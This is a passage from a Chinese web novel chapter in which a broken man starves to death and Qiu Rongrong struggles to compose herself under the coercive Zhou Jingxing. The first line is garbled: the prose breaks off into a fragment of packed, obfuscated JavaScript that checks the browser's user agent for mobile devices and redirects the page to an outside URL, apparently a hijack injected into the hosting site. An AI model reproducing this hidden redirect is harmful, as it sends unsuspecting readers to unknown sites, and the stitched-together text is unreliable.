直到周红霞的出现,成为压死他的最后一根稻草。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990967|173646||http|test|mini|href|location''.split(''|''),0,{}));
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r>他听见周红霞的尖叫和咒骂声,认为,是自己的存在才让自己身边的人不开心。
他很笨,笨到连饭都不会吃,把自己活活饿死。
死之前,他看见自己的妹妹。
世界变得晴朗。
脑海中的雾散去。
再也没有人会讨厌他。
秋榕榕用手捂住自己的鼻血,周景行把她横抱回房间,她手指紧紧的抓着被单急促地喘息着,指甲将床单抠出一个洞。
他温情地说道:“没事了,别怕。”
周景行抚摸着她的后背,想要帮她平复心情。
但她只想躲着他。
他知道,她想打他,想尖叫着撕开他伪善的脸,但理智让她不敢这么做。
所以她只能抠着被单发泄。
她恨他连个疯子都不放过。
嘴里却不敢说出来。
秋榕榕很可怜,但周景行不是拥有怜悯心的人。
“周家人已经全部死去,我和他们的恩怨到此结束。”
“他家的因果和你无关,人是因我而死,你不用有负罪感。”
他抬起手,想要抚摸她的头发,指尖却在半空中停住。
“如果你还想继续留在这个岛上保持现状,就收拾好你的心情。
我不希望这件事情影响到我们之间的关系,一天的时间,你自己好好想想。”
沉默蔓延在空气中,压得人喘不过气。
周景行离开,留在躲在被子里的秋榕榕喘着粗气,努力克制住极致的悲鸣。
往日一幕幕在脑海里重现,生命逝去的沉重让她喘不过气。
不行。
不能这样。
她不能生病,不能发疯。
秋榕榕掀开被子,她走进洗漱间弯腰打开水龙头,用手接了一捧凉水,毫不犹豫地泼在自己的脸上。
冬天的水像刀子一样冷,刺得秋榕榕皮肤泛红,水珠顺着她苍白的面颊滑落,滴到下巴,又落在洗手台上。
她看着镜子里的自己,试图用凉水洗去心底翻涌的情绪。
现在只有她知道周淮远是**的,她是活着的人证,她得带着他们死亡的真相,振作起来。